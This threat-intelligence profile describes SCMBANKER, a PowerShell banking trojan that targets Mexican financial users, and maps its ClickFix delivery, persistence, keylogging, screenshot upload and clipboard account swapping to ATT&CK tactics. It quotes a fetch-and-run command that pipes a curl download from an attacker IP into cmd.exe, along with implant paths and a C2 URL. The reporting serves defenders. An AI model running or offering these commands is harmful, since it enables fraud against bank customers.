SCMBANKER
- Type
- Banking trojan
- Capabilities
- Credential theftKeyloggingExfiltrationPersistenceInitial accessPrivilege escalationPost exploitationDefense evasionReconnaissanceSpoofing
- Delivery
- ClickfixLure
- Platforms
- Windows
SCMBANKER is a Windows PowerShell-based banking-fraud toolkit used in the REF6045 operator-assisted campaign targeting Mexico’s financial ecosystem. Active components date to at least October 2025. It is delivered through ClickFix-style fake CAPTCHA or verification pages that induce victims to execute a malicious command, while a fake Windows Update display and repeated elevation prompts distract and pressure the victim during installation.
The toolkit establishes user-level persistence and launches multiple hidden PowerShell modules after restart. It profiles compromised hosts and monitors visible application window titles for Mexican banking, fintech, payment, cryptocurrency, investment, tax, and telecommunications services. Detection of a targeted financial session alerts an operator and can trigger repeated screenshot collection and upload. SCMBANKER can display fraudulent bank-warning overlays intended to drive victims into vishing interactions, redirect selected browser sessions to phishing pages, and replace Mexican CLABE account numbers or payment-card numbers held in the clipboard with attacker-controlled values. It also contains a keylogging component and can execute operator-supplied PowerShell commands.
For higher-value victims, REF6045 can deploy and configure the legitimate Remote Utilities Host remote-access product for persistent, unattended attacker control. SCMBANKER is designed for real-time financial-account abuse and transaction diversion rather than autonomous mass fraud.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit... Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims toward live phone interaction, redirect the browser, or replace account numbers copied to the clipboard.
Techniques & procedures
31 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
They can capture screenshots, redirect a browser to phishing pages... and steer victims toward phone-based scams and phishing pages.
Initial Access
3 techniques
Initial Access
Malicious Entry Point: Victims are compromised via fake CAPTCHA pages that trick them into executing a harmful command.
Victims are infected through fake CAPTCHA pages that trick them into running a single command.
One such redirect destination, 'bancaporinternetbbmx[.]online,' contains a page-load Telegram notification script that harvests browser, device, and IP address details, and sends the information to a Telegram chat, alerting the operator that a redirected victim has reached the lure for follow-on attacks.
Execution
7 techniques
Execution
Elastic’s prevention guidance points to monitoring suspicious Run key changes, curl downloads piped into cmd, and DNS lookups tied to suspicious domains, alongside broader detection for script interpreters and remote access abuse.
run.vbs uses WScript.Shell.Run with a hidden window style and Invoke-Expression to start the toolkit's modules in parallel.
cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit
Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file ('run.vbs'). The Visual Basic Script serves as a master launcher to run several modules in parallel.
Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory.
Victims are compromised via fake CAPTCHA pages that trick them into executing a harmful command.
The fake verification page copies a command to the victim's clipboard and instructs the victim to run it from the Windows Run dialog.
Persistence
3 techniques
Persistence
remoto.ps1 imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters that sets callback auto-connect to the operator.
Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory.
Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon: Run key and Startup folder.
Privilege Escalation
2 techniques
Privilege Escalation
Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon: Run key and Startup folder.
The script checks if it's running as admin, and if not, launches a Windows User Account Control (UAC) prompt every 20 seconds, effectively nudging the victim towards clicking 'Yes' on the consent dialog.
Stealth
4 techniques
Stealth
The rotor scripts copy a target script into %TEMP% under Windows-like process names, execute the copy, and repeat.
Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory.
Once SCMBANKER is established, it checks open window titles for bank names and other financial services, then alerts the operator when a useful session appears.
On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.
Defense Impairment
1 technique
Defense Impairment
remoto.ps1 imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters that sets callback auto-connect to the operator.
Credential Access
1 technique
Credential Access
jujuzkt.ps1 contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1.
Discovery
4 techniques
Discovery
The banking activity monitor checks all visible window titles every second.
The beacon collects ip_local through Get-NetIPAddress and ip_public through api.ipify.org.
cliente.ps1 collects a machine profile every 30 seconds, including machine_name and a persistent client_id.
Once SCMBANKER is established, it checks open window titles for bank names and other financial services, then alerts the operator when a useful session appears.
Collection
3 techniques
Collection
jujuzkt.ps1 contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1.
Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it.
clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers and can replace the destination account with an attacker-controlled CLABE.
Command and Control
4 techniques
Command and Control
cliente.ps1 performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php.
The phishing page forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat.
All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\.
REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.
Exfiltration
1 technique
Exfiltration
screen2.ps1 captures the full virtual desktop, compresses the image under 10 MB, and uploads it to the C2 endpoint.
Impact
3 techniques
Impact
Attackers can lock screens with fake warnings, redirect browsers, or modify clipboard account numbers.
It then forces a reboot with the shutdown /r /t 02 command.
The clipboard modules focus on payment redirection rather than credential theft.
Observables
69 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.